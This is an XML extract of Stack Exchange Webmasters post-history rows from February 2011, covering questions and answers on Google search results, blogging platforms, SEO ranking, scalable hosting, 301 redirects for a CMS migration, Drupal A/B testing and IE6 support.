  <row Id="20511" PostHistoryTypeId="2" PostId="9318" RevisionGUID="75c1fa0c-1bab-410a-90b9-51e53f475b47" CreationDate="2011-02-18T09:41:32.640" UserId="4643" Text="This is not the most terrble thing.   &#xD;&#xA;&#xD;&#xA;Google just simply completely substitutes the results of its competitors by results to its own products for many months:  &#xD;&#xA;  - [Why googling by keycaptcha gives results on reCAPTCHA? [closed]][1]   &#xD;&#xA;  - [when google search gives incorrect results - how can it be reported? [closed]][2]  &#xD;&#xA;&#xD;&#xA; Even if to type keycaptcha (with &quot;Instant ON&quot;) all results are only on google's reCAPTCHA.   &#xD;&#xA;Or, even, if it to embrace &quot;keycaptcha&quot; in quotes, google frequently does not find existing on internet sources or, what is much worse, gives spam only in results (links to other content farms republished outdated and/or erroneous texts)   &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I also tried to knock through various other channels:  &#xD;&#xA; &#xD;&#xA;  - http://twitter.com/#!/vgv8/status/34120615497572352  &#xD;&#xA;&#xD;&#xA;I am reading panegiric articles about improvements in google search engines but in my case it google search engines become NOTICEABLY worse and worse every day.  &#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/8313/why-googling-by-keycaptcha-gives-results-on-recaptcha&#xD;&#xA;  [2]: http://webmasters.stackexchange.com/questions/8445/when-google-search-gives-incorrect-results-how-can-it-be-reported" />
  <row Id="20512" PostHistoryTypeId="2" PostId="9319" RevisionGUID="218c52ac-a4aa-49da-8ce2-bb9607235233" CreationDate="2011-02-18T09:47:33.667" UserId="4643" Text="[Google just screwed their search engines many months ago and every day it becomes worse and worse][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/9302/google-search-preview-shows-content-not-on-the-website/9318#9318" />
  <row Id="20514" PostHistoryTypeId="2" PostId="9321" RevisionGUID="f85fdccb-ae39-45d6-9112-144c0654bb96" CreationDate="2011-02-18T10:52:24.450" UserDisplayName="user5482" Text="HI.. I need to create my own blog. For that what are the basic steps i need to take care. &#xD;&#xA;I am good in .net. I like to share my knowledge.&#xD;&#xA;&#xD;&#xA;Thanks In Advance&#xD;&#xA;" />
  <row Id="20515" PostHistoryTypeId="1" PostId="9321" RevisionGUID="f85fdccb-ae39-45d6-9112-144c0654bb96" CreationDate="2011-02-18T10:52:24.450" UserDisplayName="user5482" Text="What is basic things to write a blog?" />
  <row Id="20516" PostHistoryTypeId="3" PostId="9321" RevisionGUID="f85fdccb-ae39-45d6-9112-144c0654bb96" CreationDate="2011-02-18T10:52:24.450" UserDisplayName="user5482" Text="&lt;blog&gt;" />
  <row Id="20517" PostHistoryTypeId="2" PostId="9322" RevisionGUID="83ce8b9b-d8ec-4ebd-8791-4a108f2f4579" CreationDate="2011-02-18T10:54:31.143" UserId="4502" Text="This is necessarily speculative, but here's a plausible sequence of events:&#xD;&#xA;&#xD;&#xA;1. Your server/CMS gets hacked, and the spam is only shown to bots(&lt;a href=&quot;http://linux.byexamples.com/archives/397/wordpress-exploit-we-been-hit-by-hidden-spam-link-injection/&quot;&gt;example&lt;/a&gt;).&#xD;&#xA;2. During this period, Google updates their preview, capturing the spam. &#xD;&#xA;3. After, that you(or your host) update the hacked CMS/files, undoing the exploit you were never aware of because you couldn't see the spam...&#xD;&#xA;4. ...but Google hasn't updated the preview yet, which is where you are now. There's &lt;a href=&quot;https://sites.google.com/site/webmasterhelpforum/en/faq-instant-previews&quot;&gt;no solid info&lt;/a&gt; on when previews are updated, and you can't force it, either." />
  <row Id="20518" PostHistoryTypeId="2" PostId="9323" RevisionGUID="c0212314-071c-4812-a3d8-0598deae6214" CreationDate="2011-02-18T10:56:20.120" UserId="3307" Text="Firstly, decide whether you want to create your own blogging software or use someone elses.&#xD;&#xA;&#xD;&#xA;Then decide whether you want to host it yourself or not.&#xD;&#xA;&#xD;&#xA;I'm not sure about .NET blogging tools, but [wordpress.org][1] is a firm favourite. If you want someone else to host it, take a look at [wordpress.com][2] or [Posterous][3]&#xD;&#xA;&#xD;&#xA; [1]:http://www.wordpress.org&#xD;&#xA; [2]:http://www.wordpress.com&#xD;&#xA; [3]:http://www.posterous.com" />
  <row Id="20519" PostHistoryTypeId="2" PostId="9324" RevisionGUID="0fcffef8-848d-4767-acfd-14eeb384f001" CreationDate="2011-02-18T11:01:14.003" UserId="4502" Text="If you want to go the build-it-yourself route, here's the documentation for the &lt;a href=&quot;http://code.google.com/apis/analytics/docs/gdata/home.html&quot;&gt;Analytics data export API&lt;/a&gt;." />
  <row Id="20520" PostHistoryTypeId="2" PostId="9325" RevisionGUID="42f5dcad-6bd7-4a21-9b03-8808466d5313" CreationDate="2011-02-18T11:15:43.553" UserId="3718" Text="As .NET is usually the preserve of companies and individuals who don't want to share their code, finding a free .NET blogging platform will prove difficult.&#xD;&#xA;&#xD;&#xA;That said, if you are good with .NET then you should find it fairly easy to build a blog platform for .NET. I'm learning .NET as part of my job, and I don't think it's all that difficult to do.&#xD;&#xA;&#xD;&#xA;That said, I would go for WordPress. Regardless of what background you have with programming, WordPress is easy to set up and maintain as you don't need to know specific coding languages to make it work." />
  <row Id="20521" PostHistoryTypeId="25" PostId="9321" RevisionGUID="6e64c388-b4d9-4f5e-9913-6869c61c252f" CreationDate="2011-02-18T11:22:37.270" Comment="http://twitter.com/#!/StackWebmasters/status/38558999276290048" />
  <row Id="20522" PostHistoryTypeId="2" PostId="9326" RevisionGUID="bd1b727f-b132-4855-a6dc-931f202ab645" CreationDate="2011-02-18T11:33:44.930" UserId="3461" Text="I have heard very good things of [Rackspace][1], you might one to check one of its options.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.rackspace.com" />
  <row Id="20523" PostHistoryTypeId="2" PostId="9327" RevisionGUID="5c3c21df-d8b4-467c-acf9-3c60201dfd38" CreationDate="2011-02-18T11:49:02.353" UserDisplayName="user5484" Text="Actually, I'm not sure if it's a postal requirement, but it's common practice here in Spain. Obviously you could find the location via postal code, just like the zip code in the US tells you which state it's in, but every single Spanish-based website requires it." />
  <row Id="20524" PostHistoryTypeId="5" PostId="9311" RevisionGUID="1ace5f8b-7f52-4f94-83ef-02f7f6f20b56" CreationDate="2011-02-18T11:51:36.580" UserId="233" Comment="fixed awful spelling/grammar" Text="If you search in Google with keywords &quot;cyprus hotels&quot; the first in results are www.cyprushotels.com with rank 2 and 2 links to this site. And second place is www.cyprus-hotels.com with rank 5 and milions link to that site. Why is it like that?" />
  <row Id="20525" PostHistoryTypeId="2" PostId="9328" RevisionGUID="6ec5548e-6f33-48cc-a716-496a4c45389c" CreationDate="2011-02-18T11:59:39.557" UserId="4461" Text="You need to understand that it's *quality*, not always *quantity* that is the ruling factor in these ranking comparisons.&#xD;&#xA;&#xD;&#xA;See http://www.opensiteexplorer.org/www.cyprushotels.com/www.cyprus-hotels.com/a!comparison for a better indication of why, `cyprus-hotels.com` has **more** back-links, the `cyprushotels.com` site has higher value back-links.&#xD;&#xA;&#xD;&#xA;Lastly, the PageRank (what I believe you were referring to when you mentioned &quot;rank 5&quot;) has very little to do with where a site will rank for particular keywords. Also be reminded that the rankings you see are most likely tailored to you." />
  <row Id="20526" PostHistoryTypeId="2" PostId="9329" RevisionGUID="1f405a3d-b48a-4361-97a1-136589bd81ca" CreationDate="2011-02-18T12:07:07.830" UserId="233" Text="Seriocomic posted almost exactly what I was about to write but I will add a few more points:&#xD;&#xA;&#xD;&#xA;First, you have a lot of text on the home page and from a brief glance it looks very keyword stuffed. Obviously you need keywords on the page, but putting &quot;Cyprus Hotels&quot; in every sentence makes it look like spam. *Just write naturally!*&#xD;&#xA;&#xD;&#xA;Second, most of the links to your site come from other sites you own and cross-link on every page. It's easy for Google to see these sites are very closely related and thus will lower the impact those links have. You need to try and get *varied back links from external sites*." />
  <row Id="20527" PostHistoryTypeId="5" PostId="9308" RevisionGUID="61025b04-9512-498d-b9bb-2263cc8b6636" CreationDate="2011-02-18T12:10:16.003" UserId="5117" Comment="Reformatted " Text="I am maintaining a website that contains mostly simple html (just a little php). &#xD;&#xA;&#xD;&#xA;Normally the site receives only 4000 hits per month, but it was recently slashdotted by the New York Times (&gt;30,000 visitors and 30 GB in a day) and the web host provider (bluehost) throttled the CPU in response. &#xD;&#xA;&#xD;&#xA;This slowed down the website considerably. What web host providers would offer a more scalable solution? &#xD;&#xA;&#xD;&#xA;Ideally I would like a high-quality host that charges by the GB and can handle bandwidth to expand during sudden slashdotting episodes without a reduction in performance. " />
  <row Id="20528" PostHistoryTypeId="24" PostId="9308" RevisionGUID="8686a1ea-2636-448e-9386-b9e4e1618e95" CreationDate="2011-02-18T12:10:16.003" Comment="Proposed by 5117 approved by 233 edit id of 21" />
  <row Id="20529" PostHistoryTypeId="2" PostId="9330" RevisionGUID="3e15c2b1-cc41-479b-bfec-4383368150d2" CreationDate="2011-02-18T13:11:31.820" UserId="4142" Text="You would have to get GoDaddy to create a [DNS Zone][1] for your domain, nic.cr, which they may charge a fee for. Check into their &quot;[Premium DNS][2]&quot; service.&#xD;&#xA;&#xD;&#xA;When you buy a domain from GoDaddy, and use their nameservers, their system automatically creates you a DNS Zone for that domain. Since you didn't register the Costa Rican domain with GoDaddy, they don't have a zone for it, and therefore there isn't any place for the server to add or retrieve records.&#xD;&#xA;&#xD;&#xA;Hosting it with the registrar would be the path of least resistance, unless you find problems with their lookup speeds or some other issue.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/DNS_zone&#xD;&#xA;  [2]: http://www.godaddy.com/domains/dns-hosting.aspx?ci=42422" />
  <row Id="20530" PostHistoryTypeId="5" PostId="9322" RevisionGUID="b073e58b-4e22-4dbc-a87f-0b7a57a4a0c2" CreationDate="2011-02-18T13:19:32.770" UserId="4502" Comment="edited body" Text="This is necessarily speculative, but here's a plausible sequence of events:&#xD;&#xA;&#xD;&#xA;1. Your server/CMS gets hacked, and the spam is only shown to bots(&lt;a href=&quot;http://linux.byexamples.com/archives/397/wordpress-exploit-we-been-hit-by-hidden-spam-link-injection/&quot;&gt;example&lt;/a&gt;).&#xD;&#xA;2. During this period, Google updates their preview, capturing the spam. &#xD;&#xA;3. After that, you(or your host) update the hacked CMS/files, undoing the exploit you were never aware of because you couldn't see the spam...&#xD;&#xA;4. ...but Google hasn't updated the preview yet, which is where you are now. There's &lt;a href=&quot;https://sites.google.com/site/webmasterhelpforum/en/faq-instant-previews&quot;&gt;no solid info&lt;/a&gt; on when previews are updated, and you can't force it, either." />
  <row Id="20531" PostHistoryTypeId="2" PostId="9331" RevisionGUID="214f7c18-dd60-41aa-aa4e-e54d1bd11929" CreationDate="2011-02-18T13:43:03.913" UserId="4827" Text="Yeah, I'm not sure why you want to reinvent the wheel here. There are plenty of easy-to-use free blogging services. I'll third WordPress for ease and customizability. " />
  <row Id="20532" PostHistoryTypeId="2" PostId="9332" RevisionGUID="a5410896-14af-4d65-babb-ed242d7124a6" CreationDate="2011-02-18T13:50:56.373" UserId="5464" Text="Not entirely sure this is what you are after but you could do a reverse DNS lookup on example.com and see what sub domains are set-up you could then query those domains or attempt to visit them in a web browser to see what content or services they are serving. I use this site for Dns lookups : http://network-tools.com/&#xD;&#xA;&#xD;&#xA;As @Rao says if you rewrite all the requests from B to A that is all Google will see. " />
  <row Id="20533" PostHistoryTypeId="10" PostId="9321" RevisionGUID="7ee36871-e3ca-4648-900f-09b36f3f78c8" CreationDate="2011-02-18T13:56:03.197" UserId="-1" CloseReasonId="4" Text="[{&quot;Id&quot;:233,&quot;DisplayName&quot;:&quot;DisgruntledGoat&quot;},{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="20539" PostHistoryTypeId="6" PostId="9309" RevisionGUID="045aa92e-4171-4e4d-a739-1c0c760990c7" CreationDate="2011-02-18T14:07:44.467" UserId="1253" Comment="Removed &quot;web-hosting dynamic uploading image-editing&quot; tags, added &quot;image-hosting&quot; tag" Text="&lt;image-hosting&gt;" />
  <row Id="20540" PostHistoryTypeId="2" PostId="9334" RevisionGUID="377838da-bfb4-4f00-a906-f3b2d2e19ac0" CreationDate="2011-02-18T14:10:51.077" UserId="2552" Text="Imgur does: http://api.imgur.com/" />
  <row Id="20541" PostHistoryTypeId="2" PostId="9335" RevisionGUID="fae0a4ab-ffaa-4688-a53d-61ba3e09f40e" CreationDate="2011-02-18T14:12:54.837" UserId="5489" Text="I was wondering if you have any tipps on the following situation.&#xD;&#xA;&#xD;&#xA;I'm going to move a large website to a new Content Management System, here are some details on the site:&#xD;&#xA;&#xD;&#xA; - online news magazine with roughly 3,000 articles&#xD;&#xA; - domain age: 10 years&#xD;&#xA; - online in the current form since May 2010&#xD;&#xA; - indexed pages: ~10.000&#xD;&#xA; - percent of search engine traffic: under 10% &#xD;&#xA;&#xD;&#xA;Unfortunately a custom-tailored CMS was used for the site. The performance, reliability and SEO capabilites have been really bad, so we are moving to a new and proven open source CMS.&#xD;&#xA;&#xD;&#xA;All the articles will be kept as they are, but the URL structure as well as the structure of the HTML templates will be changed.&#xD;&#xA;&#xD;&#xA;What I wanted to do now is to actually create 301 redirects for all articles from the old to the new schema, i.e:&#xD;&#xA;&#xD;&#xA; - Old: www.example.com/en/html/news/detail/title-of-the-article/&#xD;&#xA; - New: www.example.com/category/title-of-article.html&#xD;&#xA;&#xD;&#xA;Is this a proven way to do something like this? If not, can you recommend a way that has worked for you?&#xD;&#xA;&#xD;&#xA;Thanks :)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="20542" PostHistoryTypeId="1" PostId="9335" RevisionGUID="fae0a4ab-ffaa-4688-a53d-61ba3e09f40e" CreationDate="2011-02-18T14:12:54.837" UserId="5489" Text="Moving large website to new CMS - URL changes" />
  <row Id="20543" PostHistoryTypeId="3" PostId="9335" RevisionGUID="fae0a4ab-ffaa-4688-a53d-61ba3e09f40e" CreationDate="2011-02-18T14:12:54.837" UserId="5489" Text="&lt;seo&gt;&lt;search-engines&gt;&lt;url-rewriting&gt;" />
  <row Id="20544" PostHistoryTypeId="2" PostId="9336" RevisionGUID="2561d876-252a-47e6-b8c5-84f196899d31" CreationDate="2011-02-18T14:22:10.853" UserId="5491" Text=" ![logo](http://tinyurl.com/cuterankcheckertool) **CuteRank** is a FREE keyword rank checker tool (software) designed to batch automatically check keyword positions and track keyword ranking performance on multiple search engines including Google, Yahoo, Bing (MSN), Ask, and AOL.  &lt;a href=&quot;http://mysql-tools.com/en/other-tools/76-seo-tools/99-review-cuterank.html&quot;&gt;CuteRank review&lt;/a&gt;." />
  <row Id="20545" PostHistoryTypeId="25" PostId="9335" RevisionGUID="3e9f74c3-733d-4ca8-8aff-0140ebd4f700" CreationDate="2011-02-18T14:22:37.623" Comment="http://twitter.com/#!/StackWebmasters/status/38604302704586752" />
  <row Id="20546" PostHistoryTypeId="2" PostId="9337" RevisionGUID="a31caf95-89f9-4ea6-8d78-fea6b0a62083" CreationDate="2011-02-18T14:24:39.307" UserId="5492" Text="herr herr,&#xD;&#xA;&#xD;&#xA;It really depends on what CMS you're moving to as to how to easily redirect old urls. I use django and this framework allows you to easily create such a redirect but it's very specific to the framework.&#xD;&#xA;&#xD;&#xA;Another method that is commonly used if you're using Linux/Apache is using .htaccess, which is a pretty simple configuration file that relies on regular expressions -- I've used this method and it was quite successful, though on not as large a scale but I believe this method has been scaled." />
  <row Id="20549" PostHistoryTypeId="5" PostId="9286" RevisionGUID="c99380e2-f700-4a7b-a3fe-1e986bc32d77" CreationDate="2011-02-18T14:41:30.743" UserDisplayName="user5493" Comment="added 88 characters in body" Text="&gt; **Possible Duplicate:**  &#xD;&#xA;&gt; [can anyone reccommend a Google SERP tracker?](http://webmasters.stackexchange.com/questions/1957/can-anyone-reccommend-a-google-serp-tracker)  &#xD;&#xA;&#xD;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xD;&#xA;&#xD;&#xA;Requirements:&#xD;&#xA;Analysis of site positions on the list of keywords in different search engines;&#xD;&#xA;Track keyword positions on search engines. I want see if my keyword rankings have moved up or down;&#xD;&#xA;Creating reports.&#xD;&#xA;&#xD;&#xA;I use Excel + Rank Checker addon for Firefox, to analyze the position of the site in search engines for my keyword list.&#xD;&#xA;Are there any tools which tested and working properly.&#xD;&#xA;Thanks.&#xD;&#xA;&lt;br&gt;&#xD;&#xA;-&#xD;&#xA;I found free seo tool: **CuteRank** is a FREE keyword rank checker tool!&#xD;&#xA;&#xD;&#xA;" />
  <row Id="20550" PostHistoryTypeId="2" PostId="9340" RevisionGUID="c0322e6d-a451-484d-9a85-93e3586fbea4" CreationDate="2011-02-18T14:46:17.713" UserDisplayName="user5493" Text="I want to display only the specified categories in the blog.&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="20551" PostHistoryTypeId="1" PostId="9340" RevisionGUID="c0322e6d-a451-484d-9a85-93e3586fbea4" CreationDate="2011-02-18T14:46:17.713" UserDisplayName="user5493" Text="How to limit the output of certain categories in the blog on Wordpress?" />
  <row Id="20552" PostHistoryTypeId="3" PostId="9340" RevisionGUID="c0322e6d-a451-484d-9a85-93e3586fbea4" CreationDate="2011-02-18T14:46:17.713" UserDisplayName="user5493" Text="&lt;wordpress&gt;" />
  <row Id="20553" PostHistoryTypeId="2" PostId="9341" RevisionGUID="6789f2fa-e565-45e6-91e6-82abbd69afc4" CreationDate="2011-02-18T14:58:42.320" UserId="4502" Text="The standard wp_list_categories function &lt;a href=&quot;http://codex.wordpress.org/Template_Tags/wp_list_categories#Include_or_Exclude_Categories&quot;&gt;has parameters&lt;/a&gt; to include or exclude whatever categories you want." />
  <row Id="20554" PostHistoryTypeId="2" PostId="9342" RevisionGUID="e2e477f0-c153-47be-bbf8-35be626e87fd" CreationDate="2011-02-18T15:09:35.957" UserId="4502" Text="No. &lt;a href=&quot;http://community.godaddy.com/help/1488/can-i-add-perl-modules-to-my-hosting-account&quot;&gt;Their process&lt;/a&gt; involves going through your account. They have several data centers, so it's conceivable their systems aren't always in sync. This would ensure that whatever information they show you actually applies to you. If you absolutely need to know before signing up, then John's suggestion is your best bet." />
  <row Id="20555" PostHistoryTypeId="2" PostId="9343" RevisionGUID="05f15a3b-7845-408f-a34d-42f1ca33253f" CreationDate="2011-02-18T15:20:17.957" UserId="4502" Text="Have a look at &lt;a href=&quot;http://warrick.cs.odu.edu/warrick.html&quot;&gt;Warrick&lt;/a&gt;. It actually uses a few sources besides Google's cache as well, though you can limit that if you want." />
  <row Id="20557" PostHistoryTypeId="2" PostId="9344" RevisionGUID="1d0247dc-151f-4865-9862-dae4cad2c4f4" CreationDate="2011-02-18T15:36:17.343" UserId="576" Text="You can consider [moving your site to the cloud][1] so that you can almost have unlimited scalability but still [pay for what you use][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/4203/can-you-store-your-site-entirely-with-amazon-web-services&#xD;&#xA;  [2]: http://stackoverflow.com/questions/376273/average-amazon-ec2-instance-price-for-web-hosting/476523#476523" />
  <row Id="20558" PostHistoryTypeId="2" PostId="9345" RevisionGUID="711c8c90-e585-495c-8df8-65fa5b357889" CreationDate="2011-02-18T15:42:47.023" UserId="5042" Text="I'm looking into rolling our company's static websites into Drupal. I need to ensure that I won't ruin our chances for split testing our designs and layouts. I have found several modules out there, and was wondering if you folks had any advice as to which ones worked the best and why.&#xD;&#xA;&#xD;&#xA;Additionally, if you know of any alternative methods, I'd love to hear them.&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="20559" PostHistoryTypeId="1" PostId="9345" RevisionGUID="711c8c90-e585-495c-8df8-65fa5b357889" CreationDate="2011-02-18T15:42:47.023" UserId="5042" Text="Whats the best module or method for A/B testing with Drupal?" />
  <row Id="20560" PostHistoryTypeId="3" PostId="9345" RevisionGUID="711c8c90-e585-495c-8df8-65fa5b357889" CreationDate="2011-02-18T15:42:47.023" UserId="5042" Text="&lt;drupal&gt;&lt;a-b-testing&gt;" />
  <row Id="20562" PostHistoryTypeId="2" PostId="9346" RevisionGUID="3e0aa683-a8c9-4815-8137-c3a6ad0b9590" CreationDate="2011-02-18T16:05:30.803" UserId="1757" Text="You've got the basic idea.&#xD;&#xA;&#xD;&#xA;1. Inventory your assets, and also identify the pages which receive the most traffic and backlinks (don't forget alternate URLs if the same page is accessible via more than one URL).&#xD;&#xA;2. Identify any content that isn't being directly migrated to the new site; find a corresponding asset on the new site if there is one*; if there isn't, and this is a high traffic URL, then perhaps you should create one; otherwise, mark the URL to be dealt with in step 5.&#xD;&#xA;3. Create a translation table in a CSV spreadsheet mapping old URLs to new ones for all assets (don't forget any media files that users may have embedded in their own site, e.g. buttons/badges/banners/videos/newsfeeds/search tools*).&#xD;&#xA;4. Use .htaccess or whatever method you prefer to make the 301 redirects based on the translation table.&#xD;&#xA;5. Create a helpful 404 page to be displayed when users request an old URL with no corresponding content on the new site. It should explain the site migration and suggest alternative resources for finding the information they need. E.g. perform an automatic search to list similar pages, offer another site that might have the information, or provide contact info through which they can request the info. It's also a good idea to provide a feedback form or email address through which users can report errors.&#xD;&#xA;6. After the new site is launched, monitor 404 errors and support emails to make sure everything is going as planned.&#xD;&#xA;&#xD;&#xA;What's important is that you don't lose the customer's trust by creating a bunch of dead links/bookmarks/images/feeds/video embeds and making information hard to find. Do everything you can to make the transition seamless, especially if there are lots of people who rely on the information on your site.&#xD;&#xA;&#xD;&#xA;If the old site had a search plugin, rewrite the old search requests automatically or offer a new OpenSearch plugin. Oracle did a poor job of this when they recently updated their network and broke all search plugins for the MySQL online documentation. So developers used to being able to effortlessly look up MySQL commands for the past 7-8 years suddenly find their search plugins worthless, and even the on-site search function doesn't work.&#xD;&#xA;&#xD;&#xA;Lastly, **don't make inappropriate 301 redirects**. If there's a new version of a page with updated content, then, sure, redirect. But if there isn't a corresponding page to redirect to, don't just redirect to the homepage or some other random page that doesn't have the content the user expects. Consider the user's intent and whether they'll be surprised at the page they land on. Even if there's another article on the same general topic, it's not necessarily appropriate to use a 301 redirect if the content is completely different. In those cases, it's better to present a 404 page to let the user know the content they're looking for no longer exists, and suggest an alternate page (or pages) that they might be interested in." />
  <row Id="20563" PostHistoryTypeId="2" PostId="9347" RevisionGUID="0d438807-2755-45fb-8605-07ce5d4e65b5" CreationDate="2011-02-18T16:31:34.543" UserId="5107" Text="I'm thinking about IE6 support and when to give up on it.&#xD;&#xA;&#xD;&#xA;Do you have a percentage of total visitors figure in mind for when to drop support? Would you let a trend develop past this figure or are you just going take the first opportunity?&#xD;&#xA;&#xD;&#xA;I've seen a 44% drop in IE6 visitors in the past 12 months from 23%(ish) of visitors down to 13%(ish). Even if it was 5% it still seems too early to drop support to me (it's still 1 in every 20 users).&#xD;&#xA;&#xD;&#xA;What are people's thoughts on this?" />
  <row Id="20564" PostHistoryTypeId="1" PostId="9347" RevisionGUID="0d438807-2755-45fb-8605-07ce5d4e65b5" CreationDate="2011-02-18T16:31:34.543" UserId="5107" Text="IE6 Support - When to drop it?" />
  <row Id="20565" PostHistoryTypeId="3" PostId="9347" RevisionGUID="0d438807-2755-45fb-8605-07ce5d4e65b5" CreationDate="2011-02-18T16:31:34.543" UserId="5107" Text="&lt;visitors&gt;&lt;browser-support&gt;&lt;internet-explorer-6&gt;" />
  <row Id="20566" PostHistoryTypeId="2" PostId="9348" RevisionGUID="ae14162d-e1e4-4e53-8659-6923186ff01a" CreationDate="2011-02-18T16:33:01.393" UserId="1953" Text="Google website optimizer is free and used by a lot of people I've not tested it with Drupal but here's a link with step by step instructions so I would think you would have no problems http://www.drupalseobook.com/news/google-website-optimizer-with-drupal. (since it's free it's easy enough to test it first). A paid option which I use and highly recommend is visual website optimizer the cost is minimal and it should work on anything." />
  <row Id="20567" PostHistoryTypeId="5" PostId="9347" RevisionGUID="6e188f6e-662e-451a-9718-8964fabe65a1" CreationDate="2011-02-18T16:35:00.843" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Should I bother supporting IE6?](http://webmasters.stackexchange.com/questions/134/should-i-bother-supporting-ie6)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I'm thinking about IE6 support and when to give up on it.&#xD;&#xA;&#xD;&#xA;Do you have a percentage of total visitors figure in mind for when to drop support? Would you let a trend develop past this figure or are you just going take the first opportunity?&#xD;&#xA;&#xD;&#xA;I've seen a 44% drop in IE6 visitors in the past 12 months from 23%(ish) of visitors down to 13%(ish). Even if it was 5% it still seems too early to drop support to me (it's still 1 in every 20 users).&#xD;&#xA;&#xD;&#xA;What are people's thoughts on this?" />
  <row Id="20568" PostHistoryTypeId="10" PostId="9347" RevisionGUID="a9810625-d709-472d-b8cb-532c5bf8ce1f" CreationDate="2011-02-18T16:35:00.733" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="20570" PostHistoryTypeId="25" PostId="9347" RevisionGUID="26c27dab-96b7-4aed-b2a7-f8dd85bb8a82" CreationDate="2011-02-18T17:22:38.383" Comment="http://twitter.com/#!/StackWebmasters/status/38649602488025088" />
  <row Id="20571" PostHistoryTypeId="6" PostId="2879" RevisionGUID="e53a2588-c287-482a-9202-304d9b027c35" CreationDate="2011-02-18T17:36:09.903" UserId="1253" Comment="added authorize.net tag" Text="&lt;ecommerce&gt;&lt;payment&gt;&lt;authorize.net&gt;" />
  <row Id="20572" PostHistoryTypeId="2" PostId="9350" RevisionGUID="b85d0fa4-97b8-4446-9d19-fa03518bb5ea" CreationDate="2011-02-18T18:21:50.977" UserId="5497" Text="I just had a downtime of 4 hours with SoftLayer and then 6 hours the next day because of host failure. The first time they just rebooted the host, without migrating our instance. The second time, they were really slow to move the instance to a new host, poor at communicating and favored investigating their physical host rather than making sure my virtual machine was up and serving 1000 clients.&#xD;&#xA;&#xD;&#xA;Carl" />
  <row Id="20573" PostHistoryTypeId="17" PostId="9352" RevisionGUID="22928f5b-5f8e-4026-9ad6-d8d7cc5dda2c" CreationDate="2011-02-18T18:37:56.077" UserId="-1" Comment="from http://stackoverflow.com/questions/5022054/scalable-asp-net-hosts-for-under-20-00-month/5022156#5022156" Text="" />
  <row Id="20574" PostHistoryTypeId="2" PostId="9352" RevisionGUID="4e63c969-44c8-44f5-99bb-93a573b457ec" CreationDate="2011-02-16T21:11:59.270" UserDisplayName="Wyatt Barnett" Text="Scale, ASP.NET and $20/month is a pretty tough combination. Personally, I would pick a host that offers decent upsizing capabilities -- such as upgrading from shared hosting to a VPS in a pinch -- rather than buying something that claims it will scale for $20 a month." />
  <row Id="20575" PostHistoryTypeId="2" PostId="9351" RevisionGUID="bb39aa16-4fc8-4f17-99d7-6d34d26a93b6" CreationDate="2011-02-16T21:02:56.253" UserDisplayName="Bruno Ligutti" Text="I am looking for a scalable ASP.NET host for under $20.00/ month.&#xD;&#xA;&#xD;&#xA;I need it scalable just in case my website is featured on popular blogs and traffic increases dramatically (in that case, I could increase my budget).&#xD;&#xA;&#xD;&#xA;So far I checked Amazon EC2, Rackspace and GoGrid, but they are far too expensive. I also checked GoDaddy 4GH but it limits MSSQL to 200MB. Thank you for sharing." />
  <row Id="20576" PostHistoryTypeId="1" PostId="9351" RevisionGUID="bb39aa16-4fc8-4f17-99d7-6d34d26a93b6" CreationDate="2011-02-16T21:02:56.253" UserDisplayName="Bruno Ligutti" Text="Scalable ASP.NET hosts for under $20.00/ month" />
  <row Id="20577" PostHistoryTypeId="3" PostId="9351" RevisionGUID="bb39aa16-4fc8-4f17-99d7-6d34d26a93b6" CreationDate="2011-02-16T21:02:56.253" UserDisplayName="Bruno Ligutti" Text="&lt;asp.net&gt;&lt;web-hosting&gt;" />
  <row Id="20578" PostHistoryTypeId="17" PostId="9351" RevisionGUID="2ce02070-34a1-49a7-b40c-07e173a6d511" CreationDate="2011-02-18T18:37:56.077" UserId="-1" Comment="from http://stackoverflow.com/questions/5022054/scalable-asp-net-hosts-for-under-20-00-month" Text="" />
  <row Id="20579" PostHistoryTypeId="5" PostId="9350" RevisionGUID="61b1845d-8776-4a6e-8054-de10825da203" CreationDate="2011-02-18T19:36:42.577" UserId="5497" Comment="added 21 characters in body" Text="I just had a downtime of 4 hours with SoftLayer's CloudLayer service and then 6 hours the next day because of host failure. The first time they just rebooted the host, without migrating our instance. The second time, they were really slow to move the instance to a new host, poor at communicating and favored investigating their physical host rather than making sure my virtual machine was up and serving 1000 clients.&#xD;&#xA;&#xD;&#xA;Carl" />
  <row Id="20580" PostHistoryTypeId="6" PostId="6105" RevisionGUID="bb06f8af-8c17-484f-947a-f5d008866970" CreationDate="2011-02-18T20:03:10.153" UserId="1253" Comment="edited tags" Text="&lt;oscommerce&gt;&lt;authorize.net&gt;" />
  <row Id="20581" PostHistoryTypeId="25" PostId="9311" RevisionGUID="76d607c3-3261-4dd0-b3b4-dcc13f9bfc56" CreationDate="2011-02-18T20:22:39.383" Comment="http://twitter.com/#!/StackWebmasters/status/38694905731760128" />
  <row Id="20582" PostHistoryTypeId="2" PostId="9353" RevisionGUID="40b3ebc5-4d8c-4f51-80fb-bea873e27f91" CreationDate="2011-02-18T21:17:33.630" UserId="5500" Text="I'm creating a web-based report. It will be a single column, no menu. Just titles, graphs, tables. Maybe a header and a footer.&#xD;&#xA;&#xD;&#xA;I've scoured the internet for a free, open source (or just 'free') CSS 'template' that will turn my grotty looking HTML page in to a nicely colored page with good fonts. Something simple I can just drop &lt;div id=&quot;header&quot;&gt; in.&#xD;&#xA;&#xD;&#xA;Is there such a thing? My issue is that I'm not a designer, I just want to pop something in and have it work and look good." />
